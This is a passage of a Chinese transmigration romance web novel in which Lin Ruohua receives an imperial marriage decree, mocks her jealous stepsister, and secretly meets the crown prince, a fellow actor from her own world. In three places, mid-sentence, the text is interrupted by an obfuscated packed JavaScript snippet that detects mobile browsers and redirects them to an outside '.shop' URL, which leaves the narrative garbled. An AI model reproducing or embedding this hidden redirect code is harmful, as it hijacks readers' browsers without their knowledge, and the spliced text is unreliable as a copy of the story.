族里多少旁支子弟虎视眈眈?”镇国公眼中闪过一抹痛色,“皇上能赐予我们叶家这世袭罔替的爵位和无上荣光,也能将它收回。君要臣死,臣不得不死,何况区区一个爵位。” 王氏脸色煞白,难以置信地摇头:“皇上岂会如此无情?想当年我们一起……” “休要再提当年!”镇国公厉声打断,眼中流露出更深的痛楚,“功高震主,鸟尽弓藏。皇上立了毫无根基的新后,又早早册封了其所出的长子为太子,这心意还不够明白吗?他绝不希望看到三皇子的势力坐大,更忌惮我们这些手握重兵的臣子与皇子勾结。” 皇帝宁可立一个愚昧无知、出身低微、毫无外戚势力的女人为后,也不愿再看到另一个叶家女坐上后位。 任何可能威胁到他皇权地位的人,哪怕曾是助他打下这万里江山的开国功臣,也会被他如猛虎扑食般,毫不犹豫地一口咬断咽喉。 镇国公心下黯然。 他早逝的小妹,当年的先皇后,难产过世。 他私下并非没有怀疑过,也曾动用一切力量暗中探查,但始终找不到任何证据。 或许,这就是叶家的命吧。 “每次我要严加管教那逆子,你总是拦着,”镇国公越想越心烦意乱,邪火直往上冒,声音也拔高了两分,“慈母多败儿,如今闯下大祸。他人呢?这次我定要执行家法,让他好好长长记性!” 这几日他忙于追查太子遇刺一案,焦头烂额,连家都未曾回过,此刻才发现儿子竟然不在府中。 王氏被他吼得身子一颤,泪水瞬间涌了上来,声音哽咽:“谦儿自那日从城外回来,自知闯了祸,五天前就偷偷躲出去了,至今未归,我派人去寻了几处常去的地方,都没找到……” “混账东西!还不立刻加派人手去给我找回来!就是把京城翻个底朝天,也要把这孽障给我绑回来!”镇国公喝道。 王氏连连点头,拿起帕子擦拭眼泪,却越擦越多。 她与镇国公少年夫妻,一路相伴至今,感情深厚,府中既无妾室也无通房丫头。 可惜当年随军时伤了身子,再难有孕,多年来对这唯一的儿子不免娇纵溺爱了些,总想将世间最好的都给他,没想到养成了这般不知轻重的性子。 镇国公见夫人这般模样,也不好受。 心中怒火化作一声长叹。 想起新婚时他们也曾有过一个孩子,那时天下未定,战事频发,谁都没留意到夫人有了身孕,包括她自己。 她坚持随军照料伤患,终因路途颠簸、劳累过度而小产,从此落下了病根。 此后调养多年,不知吃下多少苦药,拜了多少神佛,才好不容易得了谦儿这一个孩子。 他将夫人轻轻揽入怀中,声音疲惫,说道:“罢了,窈莲,也是我这些年忙于政务,疏于管教。等把那孽障找回来,是该赶紧给他说门正经亲事了。成家立业,或许收了心,就能懂事些了。” 王窈莲依偎在丈夫怀里,含泪点头。 窗外清冷的月光,难以驱散夫妇二人心中忧虑与阴霾。 8. 嫉妒 第二日,辰时刚过,林府外便传来了喧闹声。 在禁军的护卫下,庞大的仪仗队一路演奏礼乐,从皇宫出发,最后停在林府门前。 林府上下早已得了消息,设下香案,阖府跪迎。 宣旨太监是昨日来的王公公,手持明黄卷轴,神情肃穆,用尖细的声音宣读着诏书。 大意是林氏女林若华,知书达理、温婉贤淑、仁爱孝悌,特赐婚于太子,册封为太子妃。 跪在下方的林若华人忍不住侧目:这说的是我? 起身后,王公公又换上和气的笑容,与林兴业道贺。 林兴业脸上的笑容比昨日更甚。 随着圣旨一同而来的,还有皇帝让使者带来的一长串订婚聘礼。 活蹦乱跳的成对大雁、雕工精细的玉器摆件、堆积如山的珍贵绸缎,还有在阳光照耀下闪烁着刺眼光芒的金锭银锭,一箱接一箱,抬入林府。 琳琅满目、眼花缭乱,几乎晃花了所有林家人的眼睛。 这还不算完,皇后娘娘的赏赐紧随其后。 除了昨日的封赏以外,还添了不少东西,金银珠宝首饰头面,另有两名年纪不过十六七岁,模样清秀的宫女,低眉顺眼地站在一旁。 顷刻间,林家那不算大的厅堂便被这些丰富的聘礼与赏赐堆得满满当当,几乎无处下脚。 唯一美中不足的是婚期,就定在三个月后,实在过于仓促了。 林若华忍不住扶额,日子这么赶,钦天监你算好没有啊,打工人可真惨。 还好,她是一个阳光明媚的女孩子。 不然经历这几天的连番惊吓,她都要道心破碎了。 林若华面无表情地叹了口气,看了一眼身旁始终沉默的苏南。 哎,再这样下去,她就要和苏南越来越像了。 林兴业还想努力维持家主的威严,但脸上的笑意和不断捻动胡须的手,根本掩盖不住他内心的狂喜。 继母叶氏也是满面春风,看向那些聘礼的眼神十分热切。 昨日还躲在房中的林洛瑶,今天也不得不现身。 她站在叶氏身旁,瞪大双眼,死死盯着满屋的聘礼,脸上写满了震惊、嫉妒以及不甘,最后化作扭曲。 待王公公等人离去后,林兴业再也按捺不住,大笑道:“皇恩浩荡,真是皇恩浩荡啊,天佑我林家!” 叶氏也在一旁连声附和,又转身拉着林若华的手,语气亲热道:“若华真是好福气,日后可莫要忘了娘家。” 林兴业目光落在林若华身上,摆出一副深思熟虑的模样说道:“如今若华已被册封为太子妃,身份尊贵,不同往日,再让她住在从前的院子里,实在是于礼不合,也有损我林家的体面。” 林若华闻言,心中不屑。 现在知道让长女住在又偏又小的院子里不合适了?早干嘛去了? 吃老婆嫁妆的时候也见你讲什么礼数和体面的。 果然,女儿有了利用价值,渣爹就能瞬间变脸,摆出一副慈父的架势。 可林府就这么大,好的院子就那两个。 林兴业进京赶考租宅子的钱是原配妻子出的,现今这宅院则是继室叶氏掏的腰包。 林家家底单薄,林兴业干了这么多年,也只是区区六品官,在京城这寸土寸金的地方,哪里换得起大宅院? 果然,林兴业几乎是不假思索,目光便转向了满脸不忿的林洛瑶,命令道:“洛瑶,你姐姐即将出阁,在家时日无多,你这做妹妹的理当谦让。这样,你马上收拾一下,和你姐姐把院子换一换。” 说完,又扭头对叶氏吩咐道:“夫人,洛瑶身边有四个丫鬟伺候,未免有些奢靡了,你挑两个手脚麻利的,拨给若华使唤。” 哦,原来不是渣爹不渣了,只是渣的对象转移了。林若华漠然地想。 叶氏脸上的喜色瞬间淡了两分,眼底闪过一丝不悦。 还没等她开口,林洛瑶已然闹了起来:“凭什么!凭什么把我的院子给她?还有我的丫鬟。爹,娘,你们偏心。她林若华算什么东西!她前日还抢了我的衣裳和首饰,现在又要来抢我的院子。我不依!我不依!” 林洛瑶又哭又闹,完全不顾及周围还有众多未离去的下人。 林兴业的脸色顿时变得难看至极,皇后赏赐的两位宫女还安静地站在一旁,这场景若是经由这两位宫女的嘴,传回皇后耳中,林家的脸面,他林兴业的脸面,还要不要了? 林兴业忙向林若华使眼色。 林若华会意,对宫女吩咐道:“这里暂且无事,你们先回我院中等候安排吧。” “是。”两位宫女训练有素地行礼,丝毫看不出任何情绪。 林若华看着她们随其他下人离去的背影,心里算了算。 她的小院仅有三间房,正房自己住,右边那间是从前的贴身婢女红豆居住的,现在是苏南休息的地方。 左边那间原本是林若华奶娘的故居,空置已久,积满了灰尘。 如今要塞进两位宫里来的人,怕是得好好打扫一番,再挤一挤了,应该勉强能住下。 外人走了,林洛瑶愈发撒起泼来。 她挣脱开叶氏的安抚,冲到林若华面前,指着她的鼻子,尖声质问:“林若华,你告诉我!凭什么?太子殿下为何偏偏要娶你?难道就因为你走了狗屎运,碰巧救了太子一命吗?我不信!” 这倒是问到了林若华心里了,她怎么知道太子为什么要娶她? 她也很想知道啊。 那个差点死在她手上的反派太子,脑子里到底哪根筋搭错了,怎么非但不追究,居然还来请旨赐婚? 这到底是什么奇葩的脑回路? 被林洛瑶吵得心烦意乱,林若华随意敷衍道:“大概是因为我长得好看吧。” “你胡说!我不信!太子殿下何等人物,怎会如此……怎会如此……”肤浅。 林洛瑶尖声反驳:“定然是你,是你用了什么见不得人的下作手段!迷惑了太子殿下!” 看着林洛瑶这副歇斯底里、口不择言的样子,再想起往日里她对林若华的种种欺辱和嘲讽。 什么“丑八怪。”“惹祸精。”“克死亲娘的扫把星。”“躲在家里的脏东西。”“痴心妄想的贱蹄子。”,私下里的言辞更是恶毒不堪。 林若华心中压抑许久的怒火一下子涌了上来。 她忽然勾起唇角,露出一个极美的笑容,声音清冷:“妹妹说得对,当然不止如此。你们真的以为,单凭救了太子,就能当上太子妃吗?” 这话瞬间吸引了所有人的注意。 林兴业皱起眉头,叶氏面露疑惑,连抽泣的林洛瑶也止住了哭声,偷偷竖起了耳朵,想听听这背后到底有何惊天秘密。 在众人好奇的目光中,林若华微微扬起下巴,一字不顿地说道:“自然是因为我花容月貌、天生丽质、沉鱼落雁、闭月羞花、明眸皓齿、风姿绰约、亭亭玉立、步步莲花、风华绝代、仪态万方、国色天香、倾国倾城。‘髣髴兮若轻云之蔽月,飘飖兮若流风之回雪。远而望之,皎若太阳升朝霞;迫而察之,灼若芙蕖出渌波。’太子殿下对我乃是一见钟情,非我不娶。” 她一口气说完,面不改色,都不带喘气的,仿佛只是在陈述一个再简单不过的事实。 叶氏:“……” 林兴业:“……” 林洛瑶:“……” 整个厅堂陷入了诡异的安静。 林兴业瞠目结舌,叶氏哑口无言,林洛瑶更是张大了嘴巴,忘了合上。 三人皆被林若华这番毫不谦虚、一本正经的自夸给震得目瞪口呆,半天回不过神来。 林若华看向呆若木鸡的林洛瑶,目光中带着居高临下的怜悯。 她学着林洛瑶往日里嘲讽时那尖酸刻薄的语气,高声说道:“所以啊,好妹妹,这飞上枝头变凤凰的机会,可不是随便什么阿猫阿狗都能妄想得到的。” 她一边说着,一边还故意用挑剔的目光,上上下下把林洛瑶打量了一番,那眼神里的意思,再明确不过。 林洛瑶何曾受过这等奇耻大辱,尤其是在她一向看不起的林若华面前。 她气得浑身发抖,脸涨得通红,尖叫一声:“看我撕烂你的嘴!” 张牙舞爪地就要扑上来厮打。 一直守在一旁的苏南瞬间上前一步,无声地挡在林若华身前。 她什么都没做,只是眼神冰冷,林洛瑶便感到一阵寒意,吓得连连后退。 林洛瑶不敢再靠近苏南,只能指着林若华,声音尖利地叫道:“好哇!林若华,原来你以前那副懦弱无能的样子都是装出来的。这个牙尖嘴利、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16423314|184823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目中无人的才是你的真面目吧,你可算是暴露出来了。你别以为攀上了太子殿下就了不起了!我看你能得意到几时!” 林若华闻言,差点笑出声。 哇,林洛瑶连她性情大变的理由都帮忙找好了。 林若华笑容明媚又带着三分嚣张,顺水推舟地说道:“既然妹妹你都说了,那姐姐我也就不必再辛苦地装什么温良恭俭、贤良淑德了。” 她顿了顿,一字一句,清清楚楚地说道:“不错,做了太子妃,就是了不起。我会得意到你死的那一天。” “你……”林洛瑶气得眼圈通红,这话如同最后一根稻草,彻底压垮了林洛瑶的理智。 她猛然转身,跑到林兴业身边,抓住他的袖子拼命摇晃,语无伦次地哭求道:“爹,爹,你听见了吗?她如此嚣张,您快想想办法,您最疼瑶儿了。不然……不然你让林若华把这婚事让给我。对!让给我,让我去做太子妃!我肯定比她做得好!” 林兴业这才回过神来,脸色大变,又惊又怒,猛地甩开她的手,想也没想,抬手就给了林洛瑶一记响亮的耳光,重重打在了她的脸上。 “胡闹!” 林洛瑶被打得懵了,捂着红肿的脸颊,难以置信地看着林兴业,这个从小到大连重话都没说过她几句的父亲。 “爹,您打我?你竟然打我?” 叶氏也惊呼一声,慌忙扑过去将女儿搂在怀里,心疼得直掉眼泪,对着林兴业哭诉道:“夫君,你怎么能下这么重的手。洛瑶她还小,她只是一时糊涂,不懂事啊!你好好说便是。” “她还小?她马上就要及笄了,是可以议亲嫁人的年纪了,还整日如此不知轻重,口无遮拦,这是圣旨赐婚,岂是儿戏!是可以随意转让的吗?你这话传出去,是要祸及全家的大罪!” 林兴业余怒未消,指着林洛瑶的鼻子厉声呵斥,“你给我滚回房里去好好反省!再敢胡闹,家法伺候。你不要脸,我们林家还要脸,莫要再给全家丢人现眼!” 不要给全家丢人现眼。 这句昔日他们时常用来斥责林若华的话,此刻从林兴业口中说出,用在林洛瑶身上,显得格外讽刺。 林若华看着眼前这出父女反目、鸡飞狗跳的闹剧,只觉得无比厌烦。 她摇了摇头,对苏南轻声道:“我们走吧。” 两人便无视身后的哭闹与斥责,一同转身回了那个偏僻的小院。 小院里,新来的两名宫女正垂手恭立在一旁等候,见到林若华回来,立刻规规矩矩地行了个标准的宫礼,齐声道:“奴婢拜见林小姐。” 林若华停下脚步,轻声说道:“不必多礼,还没问你们,叫什么名字?” 个子稍高一些的宫女恭敬答道:“回小姐话,奴婢杜鹃。” 旁边稍矮些,脸蛋圆圆的宫女接着答道:“奴婢月季。” 林若华点了点头,吩咐道:“杜鹃,月季。我这儿的院子小,委屈你们了。左边那间房我马上让人收拾出来,你们暂且在那里安置。平日里若无我的召唤,你们自行安排即可,不必过于拘束。” “是,谢小姐。”杜鹃和月季齐声应道,态度依旧恭敬。 待她们二人退下,林若华和苏南走进房间关上房门后,一直沉默的苏南才走上前来,从袖中取出一个普通的信封,递到林若华面前,说道:“小姐,昨夜凌北送来一封信,说是太子殿下特意给您的。您是否现在过目?” 又是昨夜?林若华挑眉,这些人怎么老是爱挑大晚上的传递消息。 她有些奇怪地看向苏南:“昨天晚上的事,你怎么现在才说?” 苏南表情未变,解释道:“凌北特意交代,需等今日圣旨宣读完,府中安定后,再呈给小姐。他说,这是殿下的意思。” 林若华:“……” 好吧,她倒要看看这位太子殿下究竟在搞什么名堂。 林若华接过那封信,注意到信封口并没有用火漆封缄。 这么随便吗?万一被人看见怎么办。 这是她穿越的第七天,收到了来自反派太子的亲笔信。 经过了这些天的历练,她觉得自己已经不会被轻易吓到了。 抽出信封里面的信笺,上面还残存着淡淡的墨香,一行龙飞凤舞毛笔字映入眼帘。 “Howareyou?” 9. 震惊 “Howareyou?” “Howareyou!” 林若华眨眨眼,猛然瞪大双眼,大脑瞬间一片空白,足足呆愣了两分钟。 “这字写得真不错啊。” 她下意识地感叹,信笺上的英文竟然还是用行书写的,笔迹流畅洒脱,相当漂亮。 不对不对,等一下。 林若华使劲摇了摇头。 重点不是书法,重点是英文啊! 在这个时间,在这个地方,怎么会有人用英文写信啊? 她强迫自己冷静下来,拿起信笺,凑到眼前,逐字逐句地开始阅读。 英文信很短,内容也非常简单,翻译过来就是: 亲爱的林小姐,你好吗? 泰安二十一年,七月二十一日下午三点,约你在落月涯见面。 你的朋友,萧。 “你的朋友萧?” 她抬头看向苏南,问道:“苏南,凌北还给你说了什么吗?” 苏南声音依旧不带感情:“凌北说,殿下嘱咐,小姐一看便知。” “一看便知?一看便知?”林若华喃喃地重复着这句话。 她再次低头确认信笺上的墨迹,心中升起一个荒诞的念头。 怪不得,怪不得。 林若华明白了,这一切都有了解释。 太子坠崖后为什么没死?为什么行为如此反常? 原来如此,他和自己一样,也是个穿越的。 可他为什么又要请旨赐婚? 她的朋友萧,是她在现实中认识的朋友。 如果自己穿成了剧本里的女配林若华,那么,太子萧长离的灵魂会不会就是那个人? 林若华忍不住扶额,苦笑着对苏南说道:“还好信是今日才给我的,如果昨夜收到,我怕是要睁着眼睛到天亮了。” 自从她穿越以后,就没睡过两个好觉。 苏南适时出声提醒:“小姐,凌北还在等回音。” “去,当然要去。”林若华毫不犹豫,她是该和这个未婚夫会会面了。 苏南闻言,也不多问,只将右手拇指和食指扣环,放在唇边,吹出一声清脆悠扬的口哨。 片刻后,一只神骏的黑鹰自云端俯冲而下,稳稳落在她的臂上。 林若华看着苏南写下“如期赴约”的纸条,并将它塞入鹰爪上的小竹管内。 “原来是飞鹰传书。”林若华看着黑鹰振翅高飞,随后迅速消失在天际。 又一个疑问得到了解答。 距离约定的见面时间还有两个时辰。 这段时间变得格外难熬。 苏南见林若华一会儿站起一会儿坐下,甚至跑到院子里开始来回转圈。 苏南:“……” 午膳时分,叶氏身旁那位平日里眼角眉梢都带着两分势利的嬷嬷,竟然破天荒地来到小院,语气恭敬地请林若华去饭厅一同用饭。 要知道,以往的林若华都是在自己的偏僻小院里独自吃饭的。 林若华随嬷嬷步入饭厅,只见林兴业和叶氏都在。 今日恰逢林兴业休沐,而林洛瑶果然不见踪影,想必还在房里赌气。 桌上摆满了鸡鸭鱼肉、山珍海味,远比她前几日吃的那些青菜豆腐要丰盛得多。 叶氏满脸堆笑,热情得连忙招呼:“若华,快,快到母亲身边来坐。看看这些菜合不合你的口味?若是不喜欢,我立刻让厨房重做。” 那神情语气自然无比,好像上午那场鸡飞狗跳的闹剧从未发生过。 林兴业则坐在主位上,笑眯眯地捋着胡须,一脸慈爱地看着她。 林若华暗自腹诽:昨晚就在摸胡子,今早也在摸胡子,中午还在摸胡子,这胡子快被他摸秃了吧? 她依言在叶氏身旁坐下,默默拿起筷子。 味道确实比连日的清汤寡水好上太多,但她心中有事,并没有什么胃口。 席间遵循食不言的规矩,气氛倒也算和谐。 饭后,林若华放下筷子,对林兴业和叶氏说道:“父亲,母亲,女儿下午要出门一趟。” 她之前不是没试过像剧本里写的那样偷偷溜出府。 但现实是,林若华她根本爬不上院子的高墙。 围着院墙找了好几圈,也没发现传说中的狗洞。 看来剧本和现实终究有出入,又或者有什么她不知道的渠道。 无奈之下,她只能选择从正门出去,而这,就不得不向眼前这两位报备。 林兴业闻言,捋胡须的动作一顿,挑了挑眉,带着两分审视:“若华要出门?所为何事?” 叶氏立刻接过话头,脸上浮起忧色,劝道:“是啊,若华,你如今身份不同往日,是未来的太子妃了,抛头露面总是不好。若是需要什么东西,尽管开口,我让下人们立刻上街去买,定挑最好的回来,你还是安心在家待嫁为好。” 林若华看着他们一唱一和,懒得绕圈子,神色平静地说:“太子约我。” 果然,林兴业脸上的疑虑和审视瞬间被谄媚的笑容取代,变脸速度之快令人咋舌。 他连声道:“哦,太子殿下相约。好!好!好!应该的,应该的。殿下召见,自然是要去的!” 叶氏也立刻变脸,笑容可掬,语气无比关切:“原来如此,那是得去。我这就给你安排府里最好的马车和最稳当的车夫,再派几个得力的小厮跟着,务必保证你的安全。” 林若华:“……” 这前倨后恭的嘴脸,真是将势利二字诠释得淋漓尽致。 她摇了摇头,语气带着疏离:“不必麻烦母亲了,太子殿下会派人来接,想必都已安排妥当。” 林兴业一听,更是连连点头,捋着胡须赞道:“殿下考虑得果然周全。” 叶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16423315|184823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 氏也笑着附和:“是极是极,殿下安排定然万无一失。” 看着他们这副毫不掩饰的模样,林若华心中只感到一阵悲凉。 男主萧玄鹤啊,你可真对不起林若华。 你知道她在这个家里过的是什么日子吗? 你只要稍稍对林家暗示一下,哪怕只是一句随口问候,她的处境多少都能改善些。 既然选择了利用,既然选择了欺骗,又何必自欺欺人,扮作一个痴情汉呢? 她懒得再与这对虚伪的夫妻多说,借口需要回去准备一下,便起身告退了。 依旧回到那个偏僻的小院,她躺在硬邦邦的木床上,试图闭目养神,但脑海中思绪万千,关于太子的身份、关于这次见面、关于未知的未来,让她平静不了。 直到申时将近,苏南轻轻敲响房门,提醒她时辰已到,该出发了。 林兴业和叶氏竟然亲自送到了府门口,做足了慈父慈母的姿态。 叶氏更是拉着林若华的手叮嘱道:“路上小心,早些回来。你是个聪明的孩子,若殿下问起家中情况,你当知道如何回答。” 府门外,停着一辆低调奢华马车。 苏南与车夫确认过身份后,扶着林若华踏上马车,放下车帘,将不断挥手告别的林兴业与叶氏二人隔绝在外。 马车摇摇晃晃地向着城外驶去。 车内,林若华和苏南都沉默着。 苏南是性格使然,而林若华是因为思绪烦乱。 车子行了约莫一炷香,在落月涯旁的树林停住了。 林若华与苏南下了马车,一个高大冷峻的男子迎上前来,是认识的凌北。 他见到林若华,恭敬地抱拳行礼:“林小姐,殿下已在崖上等候。” 林若华顺着他指的方向望去,只见不远处的崖边立着一个人。 那人背对着他们,头戴玉冠,衣着锦衣,打扮与坠崖那日颇为相似,山风将他的衣袍吹得猎猎作响。 他正眺望远方,不知在想着什么。 林若华好像突然明白过来,为什么太子会选择在落月崖相见。 电影《无间道》里,主角就是在天台见面,地方空旷,无人偷听。 那人似有所感,缓缓转过身,正是太子萧长离。 他唇角微扬,脸上露出一个无比熟悉的笑容,与林若华记忆中那个人逐渐重合。 昨日在皇宫,林若华根本不敢仔细打量太子,而且那时的他虽然也笑得温和,但是给人的感觉截然不同。 此时虽然两人还相隔一段距离,可林若华能清楚地感受到面前那人眼中的温柔,是驱散冷风的暖意。 她不自觉地向前走去,苏南和凌北默契地留在了原地。 走着走着,便跑了起来。 她感觉自己心跳得厉害,她有好多话想要说。 明明才分别七天,好像时间过去了很多年。 10. 重逢 林若华双手提起裙摆,一路跌跌撞撞奔至太子跟前。 许是跑得太急,脚下不慎一个趔趄,险险稳住身形,停下来时还在微微喘气。 她仰起头,目光急切地在对方脸上扫视,朱唇轻启,想问什么却又不敢贸然开口。 万一是巧合呢? 万一是她认错人了呢? 太子垂眸,将她这副欲言又止、既期待又害怕失望的模样尽收眼底。 他眼中的笑意更浓,还故意朝她眨了眨眼,话语中带着两分戏谑:“你知道陈永仁和黄志诚,为什么要选在天台见面吗?” 若换作旁人,定要疑惑这陈永仁和黄志诚究竟是何方神圣。 可林若华知道,陈永仁和黄志诚是《无间道》里的人物。 这句话瞬间打消了林若华所有的疑虑。 是他! 太好了,这真是太好了! 她眼圈一红,眼前的人影渐渐模糊,再也控制不住自己的情绪,声音中还带着难以抑制的哽咽:“前辈,真的是你。” 在剧组时,前辈就一直很照顾她。 不仅时常抽空陪她对戏,悉心传授表演经验,更在她迷茫的时候,给予温暖的鼓励。 前辈于她而言,既是朋友,也是老师。 她并不是一个软弱的人,即便在片场受伤也从不落泪。 可这一刻,积压了数日的恐惧、孤独和委屈,都化作了眼中的湿意。 看着她微红的眼圈,萧长离的语气愈发温柔:“在这里不用叫我前辈,叫我长离吧。” “我明白,万一不小心在别人面前说漏了嘴,那就麻烦了。”林若华连忙用手背擦去眼角的泪水,连连点头,“长离,你也叫我若华就行。” “好,若华。”萧长离很自然地念出这个名字,眼神格外柔和,“无论你叫什么,始终都是你,从未改变。” 激动的心情稍微平复,无数的疑问涌上心头。 林若华的声音已经恢复如常,问出了最关键的问题:“长离,你为什么会穿越?是不是当时发生了什么事情?” 她清楚地记得那一天。 那天拍摄很顺利,早上就拍完了太子萧长离劫持林若华,与男主萧玄鹤对峙的戏。 下午拍明月公主万念俱灰,与小将军告别后,纵身跃下悬崖。 何导演说,同一个布景,同一批演员,安排在一起,连着拍方便。 如果不出意外的话,晚上就能顺利收工,等着吃杀青宴了。 她中午的时候的确看到过对方匆匆离开的背影。 难道是那个时间点出了事? 萧长离闻言,表情未变,眼底却闪过一丝难以捕捉的复杂。 他语气平静,带着淡淡的无奈:“我下午的时候出了点意外,应该是死了。” 果然如此。 这个答案让林若华心底一沉。 虽然早有猜测,但亲耳听到证实,还是让她感到难过。 “那你呢?”萧长离不着痕迹地将话题引回林若华身上,目光中带着关切,“你还记得自己是怎么过来的吗?” 林若华叹了口气,很无奈地说道:“我在拍最后那场跳崖戏的时候出事了。威亚好像突然断了,也不知道剧组的安全措施是怎么做的,不过应该买了保险吧。” 林若华不由得露出一个苦笑,她现在无亲无故,也不知道赔偿金和她的房子会落在哪个远房亲戚头上,希望那个人能善待她的房子吧。 林若华沉浸在自己的回忆里,没注意到当她说出“威亚断了。”这四个字时,萧长离的手骤然握紧,眼中的戾气几乎要化为实质,与平日里的温柔判若两人。 待她抬起头,萧长离已恢复如常,神色温和。 他沉吟片刻,问道:“说起来,你对这个世界过去的十六年,可有记忆?” 林若华茫然摇头,说:“没有,一睁眼就到了林家,成了十六岁的林家大小姐,如果不是熟知剧本,我恐怕就要假装失忆才能蒙混过关了。” 她忽然从萧长离的话中察觉出了异样,睁大双眼,不可思议道:“你的意思是说……” 萧长离面露苦笑,带着三分无奈与自嘲:“不错,我有记忆,拥有完整的、属于萧长离的记忆。” 他抬手扶额,声音有些飘忽不定:“从蹒跚学步到读书习武,从幼时在后宫中和母后的举步维艰,到长大后在朝堂上与萧玄鹤的明争暗斗,每一件事都记得清清楚楚。有记忆,有感情,我就是萧长离,在这个世界里真实地生活了十八年。直到坠崖那日,我才突然觉醒了现实里的记忆,方才明白之前所有的行为,竟然都像是被无形中的线,牵引着按照早已设定好的剧本在出演。” 他的手缓缓下移,覆住双眼,声音里透出深深的疲惫:“对你来说,我们只有七天没见面。但对我而言,我们已经整整分别了十八年。这一切究竟是周庄梦蝶还是梦蝶周庄。或许,我们曾经所处的世界,才是虚假的。” 林若华听出他话中深藏的迷茫与痛苦,不免有些心疼。 萧长离此前的人生可谓是如履薄冰,机关算尽,最后才发现一切不过是为他人作嫁衣,那种无力感足以吞噬一个人。 见他迟迟沉溺在消极的情绪中,林若华上前一步,轻轻拉下他遮眼的手,迫使他看着自己的眼睛。 四目相对,林若华的目光清澈又坚定,仿佛暗夜中璀璨的星辰。 她凝视着萧长离的眼睛,一字一句认真地说道:“我知道了,这里不仅仅是剧中的世界,我们不如把理解成一个平行时空。我们曾经的世界是真实的,这里也是真实的,两个世界都是真的。你再也不用担心被剧本操控。重要的是,我们都活下来了。既然活下来了,命运就掌握在我们自己手中,一切都会不一样。” 声音不大,却十分坚定。 林若华忽然想到一个关键问题,紧张地抓住他的手臂,上下打量:“对了,你的身体怎么样?从那么高的悬崖上掉下来,怎么可能一点事都没有?快让我看一下。” 说罢,她就要拉着萧长离仔细检查,眼神里满是担忧。 萧长离见她这般紧张模样,失笑道:“我真的无碍,否则岂能站在这里和你说这么久的话?” 林若华发现他并未撒谎,皱着的眉头才放下来:“原来真的没事。” 萧长离解释道:“早年我在机缘巧合之下,得到过一颗药王谷流传下来的神药,据说是开山祖师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16423316|184823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倾尽心力炼制而成,世间仅存寥寥数颗,有起死回生之效,能让重伤濒死之人在极短时间内痊愈。那天坠崖后,多亏你及时给我急救,吊住了我最后一口气,凌北才能及时找到我们,给我服下了那颗丹药。” 在原本的剧情里,太子萧长离被属下找到时已经了断气,凌北迟来一步,神药最后自然落到了男主萧玄鹤手中。 这种不合理的东西,也是男主的外挂之一。 林若华面露疑惑,歪着头看他:“我救了你?这不是你临时对外人编出来的说辞吗?” “是真的。”萧长离想到凌北禀报时那副欲言又止的模样,眼中再次染上温柔的笑意,“凌北后来还偷偷跟我禀报,说他带着人找到我们时,看到你正在……嗯,轻薄我。他哪里懂,你那时是在做人工呼吸,还以为你……”他适时停住,笑意加深。 经萧长离提醒,林若华脑海中那些模糊的片段逐渐清晰起来。 冰冷刺骨的河水,拼尽全力地挣扎,浑浑噩噩地爬上岸。 看到熟悉的人正昏迷不醒、面色苍白。 她依照本能进行心肺复苏和人工呼吸,一遍遍地给他渡气。 直到对方恢复微弱的心跳和呼吸,她才松了一口气,接着眼前一黑,晕了过去。 林若华怔怔地说:“原来那些断断续续的画面不是梦啊。” “在此生活的十八年间,我总觉得心里空了一块,像是忘了什么极其重要的人和事,时常觉得怅然若失。” 萧长离凝视着她的脸,目光深沉而温柔:“直到濒死时意识模糊,听见你焦急地一遍遍呼喊着我的名字,才终于把丢失的那部分找了回来,是你,将我唤回来的。” 他眼神中缱绻的温柔让林若华脸颊微烫,有些不自然地移开了视线。 萧长离仿佛未注意到她的窘迫,继续解释道:“对外,只说是遇到了前朝余孽的伏击,我不慎落水。坠崖之事太过离奇,也容易引人探究,不便声张,至于萧玄鹤,他更不可能说出去,而且,”他顿了顿,声音压得更低,“若让父皇知道我私藏了能起死回生的神药却没有献上去,恐怕会引来无穷的猜忌和祸端。” “不管怎样,我们都平安无事就好。”林若华长舒一口气,心下庆幸。 然而,萧长离的神色却再度凝重起来,他缓缓摇了摇头:“不,现在说平安无事,可能还为时过早。” 林若华刚放下的心瞬间又提了起来,急忙追问:“怎么了?还有什么问题?” 萧长离沉吟片刻,然后问出一个奇怪的问题:“你知道前朝太子叫什么名字吗?” 剧本中前朝太子这个角色只出现在别人的台词里,是个背景板,国破后下落不明,生死不知。 林若华被问得一愣,仔细思索后,答道:“剧本没写,不过我记得有一次,听到导演和编剧在片场聊天,导演随口问,说前朝公主叫明月,那前朝太子叫什么?编剧回答说,在构想里前朝太子好像叫熙和还是西河的。” 萧长离缓缓道:“前朝太子名叫羲和,是《天问》里‘羲和之未扬,若华何光?’的羲和。” “羲和?若华?” 林若华明白了。 编剧是想要她死啊。 11. 苦衷 